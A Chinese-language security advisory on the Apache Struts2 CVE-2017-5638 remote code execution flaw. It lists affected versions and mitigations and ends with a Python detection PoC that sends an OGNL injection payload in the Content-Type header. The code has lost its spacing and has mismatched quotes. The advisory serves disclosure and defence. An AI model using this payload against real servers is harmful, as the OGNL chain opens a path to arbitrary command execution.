修复CVE-2017-5638漏洞解决方案

漏洞简介

CVE-2017-5638是基于Jakartaplugin插件的Struts远程代码执行漏洞。由于上传功能的异常处理函数没有正确处理用户输入的错误信息,导致远程攻击者可通过修改HTTP请求头中的Content-Type值,构造发送恶意的数据包,利用该漏洞进而在受影响伺服器上执行任意系统命令。

漏洞利用条件和方式:

攻击者可以通过构造HTTP请求头中的Content-Type值可能造成远程代码执行。

影响范围:

Struts2.3.5–Struts2.3.31

Struts2.5–Struts2.5.10

漏洞修复建议(或缓解措施):

Struts2默认用Jakarta的Common-FileUpload的文件上传解析器,这是存在漏洞的,默认为以下配置:struts.multipart.parser=jakarta,指定其他类型的解析器,以使系统避免漏洞的影响,指定使用COS的文件上传解析器struts.multipart.parser=cos或指定使用Pell的文件上传解析器

阿里云建议升级Struts到Struts2.3.32或Struts2.5.10.1版本

阿里云云盾WAF已经支持该漏洞防御,

黑客通过Jakarta文件上传插件实现远程利用该漏洞执行代码。

漏洞PoC

importrequests

importsys

defpoc(url):

payload=

「%{(#test=’multipart/form-data』).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[『com.opensymphony.xwork2.ActionContext.container』]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}」

headers={}

headers[「Content-Type」]=payload

r=requests.get(url,headers=headers)

if「105059592」inr.content:

returnTrue

returnFalse

if__name__==『__main__』:

iflen(sys.argv)==1:

print「pythons2-045.pytarget」

sys.exit()

ifpoc(sys.argv[1]):

print」vulnerable」

else:

print「notvulnerable」

文章转载: